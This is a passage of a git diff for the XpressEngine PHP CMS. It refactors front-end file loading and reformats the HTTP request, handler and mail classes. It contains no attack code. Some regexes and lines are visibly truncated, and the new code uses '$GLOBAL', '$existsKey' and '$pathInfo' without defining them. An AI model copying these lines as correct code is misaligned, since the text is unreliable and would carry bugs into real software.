    - * - * @param array $args Arguments - * @param bool $useCdn If set true, use cdn instead local file - * @param string $cdnPrefix CDN url prefix. (http://static.xpressengine.com/core/) - * @param string $cdnVersion CDN version string (ardent1) - * @return void - **/ - function loadFile($args, $useCdn = false, $cdnPrefix = '', $cdnVersion = '') + $url_info = parse_url(Context::getRequestUrl()); + if($url_info['scheme'] == 'https') { - if (!is_array($args)) $args = array($args); - - $pathInfo = pathinfo($args[0]); - $file = new stdClass(); - $file->fileName = $pathInfo['basename']; - $file->filePath = $this->_getAbsFileUrl($pathInfo['dirname']); - $file->fileRealPath = FileHandler::getRealPath($pathInfo['dirname']); - $file->fileExtension = strtolower($pathInfo['extension']); - $file->fileNameNoExt = preg_replace('/\.min$/', '', $pathInfo['filename']); - $file->keyName = implode('.', array($file->fileNameNoExt, $file->fileExtension)); - - if(strpos($file->filePath, '://') === FALSE) - { - if(!__DEBUG__) - { - // if no debug mode, load minifed file - $minifiedFileName = implode('.', array($file->fileNameNoExt, 'min', $file->fileExtension)); - $minifiedRealPath = implode('/', array($file->fileRealPath, $minifiedFileName)); - if(file_exists($minifiedRealPath)) - { - $file->fileName = $minifiedFileName; - } - } - else - { - // Remove .min - if(file_exists(implode('/', array($file->fileRealPath, $file->keyName)))) - { - $file->fileName = $file->keyName; - } - } - - $file->useCdn = $useCdn; - $file->cdnPath = $this->_normalizeFilePath($pathInfo['dirname']); - $file->cdnPrefix = $cdnPrefix; - $file->cdnVersion = $cdnVersion; - } - - $availableExtension = array('css'=>1, 'js'=>1); - if (!isset($availableExtension[$file->fileExtension])) return; - - $file->targetIe = $args[2]; - $file->index = (int)$args[3]; - - if ($file->fileExtension == 'css') - { - $file->media = $args[1]; - if (!$file->media) $file->media = 'all'; - $map = &$this->cssMap; - $mapIndex = &$this->cssMapIndex; - $key = $file->filePath . $file->keyName . "\t" . $file->targetIe . "\t" . $file->media; - - $this->_arrangeCssIndex($pathInfo['dirname'], $file); - } - else if ($file->fileExtension == 'js') - { - $type = $args[1]; - if ($type == 'body') - { - $map = &$this->jsBodyMap; - $mapIndex = &$this->jsBodyMapIndex; - } - else - { - $map = &$this->jsHeadMap; - $mapIndex = &$this->jsHeadMapIndex; - } - $key = $file->filePath . $file->keyName . "\t" . $file->targetIe; - } - - (is_null($file->index))?$file->index=0:$file->index=$file->index; - if (!isset($map[$file->index][$key]) || $mapIndex[$key] > $file->index) - { - $this->unloadFile($args[0], $args[2], $args[1]); - $map[$file->index][$key] = $file; - $mapIndex[$key] = $file->index; - } + $GLOBAL['__XE_IS_SSL__'] = TRUE; + } + else + { + $GLOBAL['__XE_IS_SSL__'] = FALSE; } - /** - * Unload front end file - * - * @param string $fileName The file name to unload - * @param string $targetIe Target IE of file to unload - * @param string $media Media of file to unload. Only use when file is css. - * @return void - */ - function unloadFile($fileName, $targetIe = '', $media = 'all') + return $GLOBAL['__XE_IS_SSL__']; + } + + /** + * Load front end file + * + * The $args is use as below. File type(js, css) is detected by file extension. + * + *
    +	 * case js
    +	 * 		$args[0]: file name
    +	 * 		$args[1]: type (head | body)
    +	 * 		$args[2]: target IE
    +	 * 		$args[3]: index
    +	 * case css
    +	 * 		$args[0]: file name
    +	 * 		$args[1]: media
    +	 * 		$args[2]: target IE
    +	 * 		$args[3]: index
    +	 * 
    + * + * If $useCdn set true, use CDN instead local file. + * CDN path = $cdnPrefix . $cdnVersion . $args[0]
    + *
    + * i.e.
    + * $cdnPrefix = 'http://static.xpressengine.com/core/';
    + * $cdnVersion = 'ardent1';
    + * $args[0] = './common/js/xe.js';
    + * The CDN path is http://static.xprssengine.com/core/ardent1/common/js/xe.js.
    + * + * @param array $args Arguments + * @param bool $useCdn If set true, use cdn instead local file + * @param string $cdnPrefix CDN url prefix. (http://static.xpressengine.com/core/) + * @param string $cdnVersion CDN version string (ardent1) + * @return void + * */ + function loadFile($args, $useCdn = FALSE, $cdnPrefix = '', $cdnVersion = '') + { + if(!is_array($args)) { - $pathInfo = pathinfo($fileName); - $fileName = $pathInfo['basename']; - $filePath = $this->_getAbsFileUrl($pathInfo['dirname']); - $fileExtension = strtolower($pathInfo['extension']); - $key = $filePath . $fileName . "\t" . $targetIe; - - if ($fileExtension == 'css') - { - if(empty($media)) - { - $media = 'all'; - } - - $key .= "\t" . $media; - if (isset($this->cssMapIndex[$key])) - { - $index = $this->cssMapIndex[$key]; - unset($this->cssMap[$index][$key]); - unset($this->cssMapIndex[$key]); - } - } - else - { - if (isset($this->jsHeadMapIndex[$key])) - { - $index = $this->jsHeadMapIndex[$key]; - unset($this->jsHeadMap[$index][$key]); - unset($this->jsHeadMapIndex[$key]); - } - if (isset($this->jsBodyMapIndex[$key])) - { - $index = $this->jsBodyMapIndex[$key]; - unset($this->jsBodyMap[$index][$key]); - unset($this->jsBodyMapIndex[$key]); - } - } + $args = array($args); } - /** - * Unload all front end file - * - * @param string $type Type to unload. all, css, js - * @return void - */ - function unloadAllFiles($type = 'all') - { - if ($type == 'css' || $type == 'all') - { - $this->cssMap = array(); - $this->cssMapIndex = array(); - } + $file = $this->getFileInfo($args[0], $args[2], $args[1]); - if ($type == 'js' || $type == 'all') - { - $this->jsHeadMap = array(); - $this->jsBodyMap = array(); - $this->jsHeadMapIndex = array(); - $this->jsBodyMapIndex = array(); - } + $availableExtension = array('css' => 1, 'js' => 1); + if(!isset($availableExtension[$file->fileExtension])) + { + return; } - /** - * Get css file list - * - * @return array Returns css file list. Array contains file, media, targetie. - */ - function getCssFileList() + $file->useCdn = $useCdn; + $file->cdnPrefix = $cdnPrefix; + $file->cdnVersion = $cdnVersion; + $file->index = (int) $args[3]; + + if($file->fileExtension == 'css') { $map = &$this->cssMap; $mapIndex = &$this->cssMapIndex; - $this->_sortMap($map, $mapIndex); - - $dbInfo = Context::getDBInfo(); - $useCdn = $dbInfo->use_cdn; - - $result = array(); - foreach($map as $indexedMap) - { - foreach($indexedMap as $file) - { - if ($this->isSsl() == false && $useCdn == 'Y' && $file->useCdn && $file->cdnVersion != '%__XE_CDN_VERSION__%') - { - $fullFilePath = $file->cdnPrefix . $file->cdnVersion . '/' . substr($file->cdnPath, 2) . '/' . $file->fileName; - } - else - { - $noneCache = (is_readable($file->cdnPath.'/'.$file->fileName))?'?'.date('YmdHis', filemtime($file->cdnPath.'/'.$file->fileName)):''; - $fullFilePath = $file->filePath . '/' . $file->fileName.$noneCache; - } - $result[] = array('file' => $fullFilePath, 'media' => $file->media, 'targetie' => $file->targetIe); - } - } - - return $result; + $this->_arrangeCssIndex($pathInfo['dirname'], $file); } - - /** - * Get javascript file list - * - * @param string $type Type of javascript. head, body - * @return array Returns javascript file list. Array contains file, targetie. - */ - function getJsFileList($type = 'head') + else if($file->fileExtension == 'js') { - if ($type == 'head') - { - $map = &$this->jsHeadMap; - $mapIndex = &$this->jsHeadMapIndex; - } - else + $type = $args[1]; + if($type == 'body') { $map = &$this->jsBodyMap; $mapIndex = &$this->jsBodyMapIndex; } - - $this->_sortMap($map, $mapIndex); - - $dbInfo = Context::getDBInfo(); - $useCdn = $dbInfo->use_cdn; - - $result = array(); - foreach($map as $indexedMap) + else { - foreach($indexedMap as $file) - { - if ($this->isSsl() == false && $useCdn == 'Y' && $file->useCdn && $file->cdnVersion != '%__XE_CDN_VERSION__%') - { - $fullFilePath = $file->cdnPrefix . $file->cdnVersion . '/' . substr($file->cdnPath, 2) . '/' . $file->fileName; - } - else - { - $noneCache = (is_readable($file->cdnPath.'/'.$file->fileName))?'?'.date('YmdHis', filemtime($file->cdnPath.'/'.$file->fileName)):''; - $fullFilePath = $file->filePath . '/' . $file->fileName.$noneCache; - } - $result[] = array('file' => $fullFilePath, 'targetie' => $file->targetIe); - } + $map = &$this->jsHeadMap; + $mapIndex = &$this->jsHeadMapIndex; } - - return $result; } - /** - * Sort a map - * - * @param array $map Array to sort - * @param array $index Not used - * @return void - */ - function _sortMap(&$map, &$index) + (is_null($file->index)) ? $file->index = 0 : $file->index = $file->index; + if(!isset($mapIndex[$file->key]) || $mapIndex[$file->key] > $file->index) { - ksort($map); - } - - /** - * Normalize File path - * - * @param string $path Path to normalize - * @return string Normalized path - */ - function _normalizeFilePath($path) - { - if (strpos($path, '://') === false && $path{0} != '/' && $path{0} != '.') - { - $path = './' . $path; - } - - $path = preg_replace('@/\./|(?_normalizeFilePath($path); - - if(strpos($path, './') === 0) - { - if (dirname($_SERVER['SCRIPT_NAME']) == '/' || dirname($_SERVER['SCRIPT_NAME']) == '\\') - { - $path = '/' . substr($path, 2); - } - else - { - $path = dirname($_SERVER['SCRIPT_NAME']) . '/' . substr($path, 2); - } - } - else if(strpos($file, '../') === 0) - { - $path= $this->_normalizeFilePath(dirname($_SERVER['SCRIPT_NAME']) . "/{$path}"); - } - - return $path; - } - - /** - * Arrage css index - * - * @param string $dirName First directory name of css path - * @param array $file file info. - * @return void - */ - function _arrangeCssIndex($dirName, &$file) - { - if($file->index !== 0) - { - return; - } - - $dirName = str_replace('./', '', $dirName); - $tmp = explode('/', $dirName); - - $cssSortList = array('common'=>-100000, 'layouts'=>-90000, 'modules'=>-80000, 'widgets'=>-70000, 'addons'=>-60000); - $file->index = $cssSortList[$tmp[0]]; + $this->unloadFile($args[0], $args[2], $args[1]); + $map[$file->index][$file->key] = $file; + $mapIndex[$file->key] = $file->index; } } + /** + * Get file information + * + * @param string $fileName The file name + * @param string $targetIe Target IE of file + * @param string $media Media of file + * @return stdClass The file information + */ + private function getFileInfo($fileName, $targetIe = '', $media = 'all') + { + static $existsInfo = array(); + + if(isset($existsInfo[$existsKey])) + { + return $existsInfo[$existsKey]; + } + + $pathInfo = pathinfo($fileName); + $file = new stdClass(); + $file->fileName = $pathInfo['basename']; + $file->filePath = $this->_getAbsFileUrl($pathInfo['dirname']); + $file->fileRealPath = FileHandler::getRealPath($pathInfo['dirname']); + $file->fileExtension = strtolower($pathInfo['extension']); + $file->fileNameNoExt = preg_replace('/\.min$/', '', $pathInfo['filename']); + $file->keyName = implode('.', array($file->fileNameNoExt, $file->fileExtension)); + $file->cdnPath = $this->_normalizeFilePath($pathInfo['dirname']); + + if(strpos($file->filePath, '://') === FALSE) + { + if(!__DEBUG__) + { + // if no debug mode, load minifed file + $minifiedFileName = implode('.', array($file->fileNameNoExt, 'min', $file->fileExtension)); + $minifiedRealPath = implode('/', array($file->fileRealPath, $minifiedFileName)); + if(file_exists($minifiedRealPath)) + { + $file->fileName = $minifiedFileName; + } + } + else + { + // Remove .min + if(file_exists(implode('/', array($file->fileRealPath, $file->keyName)))) + { + $file->fileName = $file->keyName; + } + } + } + + $file->targetIe = $targetIe; + + if($file->fileExtension == 'css') + { + $file->media = $media; + if(!$file->media) + { + $file->media = 'all'; + } + $file->key = $file->filePath . $file->keyName . "\t" . $file->targetIe . "\t" . $file->media; + } + else if($file->fileExtension == 'js') + { + $file->key = $file->filePath . $file->keyName . "\t" . $file->targetIe; + } + + return $file; + } + + /** + * Unload front end file + * + * @param string $fileName The file name to unload + * @param string $targetIe Target IE of file to unload + * @param string $media Media of file to unload. Only use when file is css. + * @return void + */ + function unloadFile($fileName, $targetIe = '', $media = 'all') + { + $file = $this->getFileInfo($fileName, $targetIe, $media); + + if($file->fileExtension == 'css') + { + if(isset($this->cssMapIndex[$file->key])) + { + $index = $this->cssMapIndex[$file->key]; + unset($this->cssMap[$index][$file->key]); + unset($this->cssMapIndex[$file->key]); + } + } + else + { + if(isset($this->jsHeadMapIndex[$file->key])) + { + $index = $this->jsHeadMapIndex[$file->key]; + unset($this->jsHeadMap[$index][$file->key]); + unset($this->jsHeadMapIndex[$file->key]); + } + if(isset($this->jsBodyMapIndex[$file->key])) + { + $index = $this->jsBodyMapIndex[$file->key]; + unset($this->jsBodyMap[$index][$file->key]); + unset($this->jsBodyMapIndex[$file->key]); + } + } + } + + /** + * Unload all front end file + * + * @param string $type Type to unload. all, css, js + * @return void + */ + function unloadAllFiles($type = 'all') + { + if($type == 'css' || $type == 'all') + { + $this->cssMap = array(); + $this->cssMapIndex = array(); + } + + if($type == 'js' || $type == 'all') + { + $this->jsHeadMap = array(); + $this->jsBodyMap = array(); + $this->jsHeadMapIndex = array(); + $this->jsBodyMapIndex = array(); + } + } + + /** + * Get css file list + * + * @return array Returns css file list. Array contains file, media, targetie. + */ + function getCssFileList() + { + $map = &$this->cssMap; + $mapIndex = &$this->cssMapIndex; + + $this->_sortMap($map, $mapIndex); + + $dbInfo = Context::getDBInfo(); + $useCdn = $dbInfo->use_cdn; + + $result = array(); + foreach($map as $indexedMap) + { + foreach($indexedMap as $file) + { + if($this->isSsl() == FALSE && $useCdn == 'Y' && $file->useCdn && $file->cdnVersion != '%__XE_CDN_VERSION__%') + { + $fullFilePath = $file->cdnPrefix . $file->cdnVersion . '/' . substr($file->cdnPath, 2) . '/' . $file->fileName; + } + else + { + $noneCache = (is_readable($file->cdnPath . '/' . $file->fileName)) ? '?' . date('YmdHis', filemtime($file->cdnPath . '/' . $file->fileName)) : ''; + $fullFilePath = $file->filePath . '/' . $file->fileName . $noneCache; + } + $result[] = array('file' => $fullFilePath, 'media' => $file->media, 'targetie' => $file->targetIe); + } + } + + return $result; + } + + /** + * Get javascript file list + * + * @param string $type Type of javascript. head, body + * @return array Returns javascript file list. Array contains file, targetie. + */ + function getJsFileList($type = 'head') + { + if($type == 'head') + { + $map = &$this->jsHeadMap; + $mapIndex = &$this->jsHeadMapIndex; + } + else + { + $map = &$this->jsBodyMap; + $mapIndex = &$this->jsBodyMapIndex; + } + + $this->_sortMap($map, $mapIndex); + + $dbInfo = Context::getDBInfo(); + $useCdn = $dbInfo->use_cdn; + + $result = array(); + foreach($map as $indexedMap) + { + foreach($indexedMap as $file) + { + if($this->isSsl() == FALSE && $useCdn == 'Y' && $file->useCdn && $file->cdnVersion != '%__XE_CDN_VERSION__%') + { + $fullFilePath = $file->cdnPrefix . $file->cdnVersion . '/' . substr($file->cdnPath, 2) . '/' . $file->fileName; + } + else + { + $noneCache = (is_readable($file->cdnPath . '/' . $file->fileName)) ? '?' . date('YmdHis', filemtime($file->cdnPath . '/' . $file->fileName)) : ''; + $fullFilePath = $file->filePath . '/' . $file->fileName . $noneCache; + } + $result[] = array('file' => $fullFilePath, 'targetie' => $file->targetIe); + } + } + + return $result; + } + + /** + * Sort a map + * + * @param array $map Array to sort + * @param array $index Not used + * @return void + */ + function _sortMap(&$map, &$index) + { + ksort($map); + } + + /** + * Normalize File path + * + * @param string $path Path to normalize + * @return string Normalized path + */ + function _normalizeFilePath($path) + { + if(strpos($path, '://') === FALSE && $path{0} != '/' && $path{0} != '.') + { + $path = './' . $path; + } + + $path = preg_replace('@/\./|(?_normalizeFilePath($path); + + if(strpos($path, './') === 0) + { + if(dirname($_SERVER['SCRIPT_NAME']) == '/' || dirname($_SERVER['SCRIPT_NAME']) == '\\') + { + $path = '/' . substr($path, 2); + } + else + { + $path = dirname($_SERVER['SCRIPT_NAME']) . '/' . substr($path, 2); + } + } + else if(strpos($file, '../') === 0) + { + $path = $this->_normalizeFilePath(dirname($_SERVER['SCRIPT_NAME']) . "/{$path}"); + } + + return $path; + } + + /** + * Arrage css index + * + * @param string $dirName First directory name of css path + * @param array $file file info. + * @return void + */ + function _arrangeCssIndex($dirName, &$file) + { + if($file->index !== 0) + { + return; + } + + $dirName = str_replace('./', '', $dirName); + $tmp = explode('/', $dirName); + + $cssSortList = array('common' => -100000, 'layouts' => -90000, 'modules' => -80000, 'widgets' => -70000, 'addons' => -60000); + $file->index = $cssSortList[$tmp[0]]; + } + +} /* End of file FrontEndFileHandler.class.php */ /* Location: ./classes/frontendfile/FrontEndFileHandler.class.php */ diff --git a/classes/handler/Handler.class.php b/classes/handler/Handler.class.php index c8bb98d06..f2f201156 100644 --- a/classes/handler/Handler.class.php +++ b/classes/handler/Handler.class.php @@ -1,11 +1,13 @@ +} +/* End of file Handler.class.php */ +/* Location: ./classes/handler/Handler.class.php */ diff --git a/classes/httprequest/XEHttpRequest.class.php b/classes/httprequest/XEHttpRequest.class.php index 05cb3c271..72d061770 100644 --- a/classes/httprequest/XEHttpRequest.class.php +++ b/classes/httprequest/XEHttpRequest.class.php @@ -1,4 +1,5 @@ m_host = $host; - $this->m_port = $port; - $this->m_headers = array(); + $this->m_host = $host; + $this->m_port = $port; + $this->m_headers = array(); } /** @@ -43,7 +48,7 @@ class XEHttpRequest { */ function addToHeader($key, $value) { - $this->m_headers[$key] = $value; + $this->m_headers[$key] = $value; } /** @@ -54,26 +59,38 @@ class XEHttpRequest { * @param array $post_vars variables to send * @return object Returns an object containing HTTP Response body and HTTP response code */ - function send($target='/', $method='GET', $timeout=3, $post_vars=null) + function send($target = '/', $method = 'GET', $timeout = 3, $post_vars = NULL) { - static $allow_methods=null; + static $allow_methods = NULL; $this->addToHeader('Host', $this->m_host); $this->addToHeader('Connection', 'close'); $method = strtoupper($method); - if(!$allow_methods) $allow_methods = explode(' ', 'GET POST PUT'); - if(!in_array($method, $allow_methods)) $method = $allow_methods[0]; + if(!$allow_methods) + { + $allow_methods = explode(' ', 'GET POST PUT'); + } + if(!in_array($method, $allow_methods)) + { + $method = $allow_methods[0]; + } // $timeout should be an integer that is bigger than zero - $timout = max((int)$timeout, 0); + $timout = max((int) $timeout, 0); // list of post variables - if(!is_array($post_vars)) $post_vars = array(); + if(!is_array($post_vars)) + { + $post_vars = array(); + } - if(false && is_callable('curl_init')) { + if(FALSE && is_callable('curl_init')) + { return $this->sendWithCurl($target, $method, $timeout, $post_vars); - } else { + } + else + { return $this->sendWithSock($target, $method, $timeout, $post_vars); } } @@ -91,49 +108,65 @@ class XEHttpRequest { static $crlf = "\r\n"; $sock = @fsockopen($this->m_host, $this->m_port, $errno, $errstr, $timeout); - if(!$sock) { + if(!$sock) + { return new Object(-1, 'socket_connect_failed'); } $headers = $this->m_headers + array(); - if(!isset($headers['Accept-Encoding'])) $headers['Accept-Encoding'] = 'identity'; + if(!isset($headers['Accept-Encoding'])) + { + $headers['Accept-Encoding'] = 'identity'; + } // post body $post_body = ''; - if($method == 'POST' && count($post_vars)) { - foreach($post_vars as $key=>$value) { - $post_body .= urlencode($key).'='.urlencode($value).'&'; + if($method == 'POST' && count($post_vars)) + { + foreach($post_vars as $key => $value) + { + $post_body .= urlencode($key) . '=' . urlencode($value) . '&'; } $post_body = substr($post_body, 0, -1); $headers['Content-Length'] = strlen($post_body); - $headers['Content-Type'] = 'application/x-www-form-urlencoded'; + $headers['Content-Type'] = 'application/x-www-form-urlencoded'; } $request = "$method $target HTTP/1.1$crlf"; - foreach($headers as $equiv=>$content) { + foreach($headers as $equiv => $content) + { $request .= "$equiv: $content$crlf"; } - $request .= $crlf.$post_body; + $request .= $crlf . $post_body; fwrite($sock, $request); list($httpver, $code, $status) = preg_split('/ +/', rtrim(fgets($sock)), 3); // read response headers - $is_chunked = false; - while(strlen(trim($line = fgets($sock)))) { + $is_chunked = FALSE; + while(strlen(trim($line = fgets($sock)))) + { list($equiv, $content) = preg_split('/ *: */', rtrim($line), 1); - if(!strcasecmp($equiv, 'Transfer-Encoding') && $content == 'chunked') { - $is_chunked = true; + if(!strcasecmp($equiv, 'Transfer-Encoding') && $content == 'chunked') + { + $is_chunked = TRUE; } } $body = ''; - while(!feof($sock)) { - if ($is_chunked) { + while(!feof($sock)) + { + if($is_chunked) + { $chunk_size = hexdec(fgets($sock)); - if($chunk_size) $body .= fread($sock, $chunk_size); - } else { + if($chunk_size) + { + $body .= fread($sock, $chunk_size); + } + } + else + { $body .= fgets($sock, 512); } } @@ -165,15 +198,18 @@ class XEHttpRequest { // set URL and other appropriate options curl_setopt($ch, CURLOPT_URL, "http://{$this->m_host}{$target}"); - curl_setopt($ch, CURLOPT_HEADER, false); + curl_setopt($ch, CURLOPT_HEADER, FALSE); curl_setopt($ch, CURLOPT_PORT, $this->m_port); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1); - curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); - switch($method) { - case 'GET': curl_setopt($ch, CURLOPT_HTTPGET, true); break; - case 'PUT': curl_setopt($ch, CURLOPT_PUT, true); break; + switch($method) + { + case 'GET': curl_setopt($ch, CURLOPT_HTTPGET, true); + break; + case 'PUT': curl_setopt($ch, CURLOPT_PUT, true); + break; case 'POST': curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_vars); @@ -181,14 +217,16 @@ class XEHttpRequest { } $arr_headers = array(); - foreach($headers as $key=>$value){ + foreach($headers as $key => $value) + { $arr_headers[] = "$key: $value"; } curl_setopt($ch, CURLOPT_HTTPHEADER, $arr_headers); $body = curl_exec($ch); - if(curl_errno($ch)) { + if(curl_errno($ch)) + { return new Object(-1, 'socket_connect_failed'); } @@ -200,5 +238,7 @@ class XEHttpRequest { return $ret; } + } -?> +/* End of file XEHttpRequest.class.php */ +/* Location: ./classes/httprequest/XEHttpRequest.class.php */ diff --git a/classes/mail/Mail.class.php b/classes/mail/Mail.class.php index 006376c5c..8a356afaa 100644 --- a/classes/mail/Mail.class.php +++ b/classes/mail/Mail.class.php @@ -1,4 +1,5 @@ =')) { require_once _XE_PATH_ . "libs/phpmailer/phpmailer.php"; @@ -9,12 +10,13 @@ else } /** -* Mailing class for XpressEngine -* -* @author NHN (developers@xpressengine.com) -*/ + * Mailing class for XpressEngine + * + * @author NHN (developers@xpressengine.com) + */ class Mail extends PHPMailer { + /** * Sender name * @var string @@ -85,7 +87,7 @@ class Mail extends PHPMailer * Content attachements * @var array */ - var $cidAttachments = array(); + var $cidAttachments = array(); /** * ??? @@ -130,22 +132,22 @@ class Mail extends PHPMailer var $use_smtp = FALSE; /** - * Constructor function - * - * @return void - */ + * Constructor function + * + * @return void + */ function Mail() { } /** - * Set parameters for using Gmail - * - * @param string $account_name Password - * @param string $account_passwd Secure method ('ssl','tls') - * @return void - */ + * Set parameters for using Gmail + * + * @param string $account_name Password + * @param string $account_passwd Secure method ('ssl','tls') + * @return void + */ function useGmailAccount($account_name, $account_passwd) { $this->SMTPAuth = TRUE; @@ -165,24 +167,24 @@ class Mail extends PHPMailer } /** - * Set parameters for using SMTP protocol - * - * @param bool $auth SMTP authentication - * @param string $host SMTP host address - * @param string $user SMTP user id - * @param string $pass STMP user password - * @param string $secure method ('ssl','tls') - * @param int $port STMP port - * - * @return bool TRUE if SMTP is set correct, otherwise return FALSE - */ + * Set parameters for using SMTP protocol + * + * @param bool $auth SMTP authentication + * @param string $host SMTP host address + * @param string $user SMTP user id + * @param string $pass STMP user password + * @param string $secure method ('ssl','tls') + * @param int $port STMP port + * + * @return bool TRUE if SMTP is set correct, otherwise return FALSE + */ function useSMTP($auth = NULL, $host = NULL, $user = NULL, $pass = NULL, $secure = NULL, $port = 25) { $this->SMTPAuth = $auth; - $this->Host = $host; + $this->Host = $host; $this->Username = $user; $this->Password = $pass; - $this->Port = $port; + $this->Port = $port; if($secure == 'ssl' || $secure == 'tls') { @@ -203,47 +205,47 @@ class Mail extends PHPMailer } /** - * Set additional parameters - * - * @param string $additional_params Additional parameters - * @return void - */ + * Set additional parameters + * + * @param string $additional_params Additional parameters + * @return void + */ function setAdditionalParams($additional_params) { $this->additional_params = $additional_params; } /** - * Add file attachment - * - * @param string $filename File name to attach - * @param string $orgfilename Real path of file to attach - * @return void - */ + * Add file attachment + * + * @param string $filename File name to attach + * @param string $orgfilename Real path of file to attach + * @return void + */ function addAttachment($filename, $orgfilename) { $this->attachments[$orgfilename] = $filename; } /** - * Add content attachment - * - * @param string $filename Real path of file to attach - * @param string $cid Content-CID - * @return void - */ + * Add content attachment + * + * @param string $filename Real path of file to attach + * @param string $cid Content-CID + * @return void + */ function addCidAttachment($filename, $cid) { $this->cidAttachments[$cid] = $filename; } /** - * Set Sender (From:) - * - * @param string $name Sender name - * @param string $email Sender email address - * @return void - */ + * Set Sender (From:) + * + * @param string $name Sender name + * @param string $email Sender email address + * @return void + */ function setSender($name, $email) { if($this->Mailer == "mail") @@ -258,10 +260,10 @@ class Mail extends PHPMailer } /** - * Get Sender (From:) - * - * @return string - */ + * Get Sender (From:) + * + * @return string + */ function getSender() { if(!stristr(PHP_OS, 'win') && $this->sender_name) @@ -272,12 +274,12 @@ class Mail extends PHPMailer } /** - * Set Receiptor (TO:) - * - * @param string $name Receiptor name - * @param string $email Receiptor email address - * @return void - */ + * Set Receiptor (TO:) + * + * @param string $name Receiptor name + * @param string $email Receiptor email address + * @return void + */ function setReceiptor($name, $email) { if($this->Mailer == "mail") @@ -292,10 +294,10 @@ class Mail extends PHPMailer } /** - * Get Receiptor (TO:) - * - * @return string - */ + * Get Receiptor (TO:) + * + * @return string + */ function getReceiptor() { if(!stristr(PHP_OS, 'win') && $this->receiptor_name && $this->receiptor_name != $this->receiptor_email) @@ -306,11 +308,11 @@ class Mail extends PHPMailer } /** - * Set Email's Title - * - * @param string $title Title to set - * @return void - */ + * Set Email's Title + * + * @param string $title Title to set + * @return void + */ function setTitle($title) { if($this->Mailer == "mail") @@ -324,21 +326,21 @@ class Mail extends PHPMailer } /** - * Get Email's Title - * - * @return string - */ + * Get Email's Title + * + * @return string + */ function getTitle() { return '=?utf-8?b?' . base64_encode($this->title) . '?='; } /** - * Set BCC - * - * @param string $bcc - * @return void - */ + * Set BCC + * + * @param string $bcc + * @return void + */ function setBCC($bcc) { if($this->Mailer == "mail") @@ -352,33 +354,33 @@ class Mail extends PHPMailer } /** - * Set Message ID - * - * @param string $messageId - * @return void - */ + * Set Message ID + * + * @param string $messageId + * @return void + */ function setMessageID($messageId) { $this->messageId = $messageId; } /** - * Set references - * - * @param string $references - * @return void - */ + * Set references + * + * @param string $references + * @return void + */ function setReferences($references) { $this->references = $references; } /** - * Set ReplyTo param - * - * @param string $replyTo - * @return void - */ + * Set ReplyTo param + * + * @param string $replyTo + * @return void + */ function setReplyTo($replyTo) { if($this->Mailer == "mail") @@ -392,11 +394,11 @@ class Mail extends PHPMailer } /** - * Set message content - * - * @param string $content Content - * @return void - */ + * Set message content + * + * @param string $content Content + * @return void + */ function setContent($content) { $content = preg_replace_callback('/]+)>/i', array($this, 'replaceResourceRealPath'), $content); @@ -411,53 +413,53 @@ class Mail extends PHPMailer } /** - * Replace resourse path of the files - * - * @see Mail::setContent() - * @param array $matches Match info. - * @return string - */ + * Replace resourse path of the files + * + * @see Mail::setContent() + * @param array $matches Match info. + * @return string + */ function replaceResourceRealPath($matches) { return preg_replace('/src=(["\']?)files/i', 'src=$1' . Context::getRequestUri() . 'files', $matches[0]); } /** - * Get the Plain content of body message - * - * @return string - */ + * Get the Plain content of body message + * + * @return string + */ function getPlainContent() { return chunk_split(base64_encode(str_replace(array("<", ">", "&"), array("<", ">", "&"), $this->content))); } /** - * Get the HTML content of body message - * - * @return string - */ + * Get the HTML content of body message + * + * @return string + */ function getHTMLContent() { - return chunk_split(base64_encode($this->content_type != 'html' ? nl2br($this->content):$this->content)); + return chunk_split(base64_encode($this->content_type != 'html' ? nl2br($this->content) : $this->content)); } /** - * Set the type of body's content - * - * @param string $mode - * @return void - */ + * Set the type of body's content + * + * @param string $mode + * @return void + */ function setContentType($mode = 'html') { - $this->content_type = $mode == 'html' ? 'html':''; + $this->content_type = $mode == 'html' ? 'html' : ''; } /** - * Process the images from attachments - * - * @return void - */ + * Process the images from attachments + * + * @return void + */ function procAttachments() { if($this->Mailer == "mail") @@ -477,19 +479,14 @@ class Mail extends PHPMailer $file_str = $file_handler->readFile($attachment); $chunks = chunk_split(base64_encode($file_str)); $tempBody = sprintf( - "--" . $boundary . $this->eol . - "Content-Type: %s;" . $this->eol . - "\tname=\"%s\"" . $this->eol . - "Content-Transfer-Encoding: base64" . $this->eol . - "Content-Description: %s" . $this->eol . - "Content-Disposition: attachment;" . $this->eol . - "\tfilename=\"%s\"" . $this->eol . $this->eol . - "%s" . $this->eol . $this->eol, - $type, - $filename, - $filename, - $filename, - $chunks); + "--" . $boundary . $this->eol . + "Content-Type: %s;" . $this->eol . + "\tname=\"%s\"" . $this->eol . + "Content-Transfer-Encoding: base64" . $this->eol . + "Content-Description: %s" . $this->eol . + "Content-Disposition: attachment;" . $this->eol . + "\tfilename=\"%s\"" . $this->eol . $this->eol . + "%s" . $this->eol . $this->eol, $type, $filename, $filename, $filename, $chunks); $res[] = $tempBody; } $this->body = implode("", $res); @@ -509,10 +506,10 @@ class Mail extends PHPMailer } /** - * Process the images from body content. This functions is used if Mailer is set as mail not as SMTP - * - * @return void - */ + * Process the images from body content. This functions is used if Mailer is set as mail not as SMTP + * + * @return void + */ function procCidAttachments() { if(count($this->cidAttachments) > 0) @@ -530,20 +527,14 @@ class Mail extends PHPMailer $file_str = FileHandler::readFile($attachment); $chunks = chunk_split(base64_encode($file_str)); $tempBody = sprintf( - "--" . $boundary . $this->eol . - "Content-Type: %s;" . $this->eol . - "\tname=\"%s\"" . $this->eol . - "Content-Transfer-Encoding: base64" . $this->eol . - "Content-ID: <%s>" . $this->eol . - "Content-Description: %s" . $this->eol . - "Content-Location: %s" . $this->eol . $this->eol . - "%s" . $this->eol . $this->eol, - $type, - $filename, - $cid, - $filename, - $filename, - $chunks); + "--" . $boundary . $this->eol . + "Content-Type: %s;" . $this->eol . + "\tname=\"%s\"" . $this->eol . + "Content-Transfer-Encoding: base64" . $this->eol . + "Content-ID: <%s>" . $this->eol . + "Content-Description: %s" . $this->eol . + "Content-Location: %s" . $this->eol . $this->eol . + "%s" . $this->eol . $this->eol, $type, $filename, $cid, $filename, $filename, $chunks); $res[] = $tempBody; } $this->body = implode("", $res); @@ -552,10 +543,10 @@ 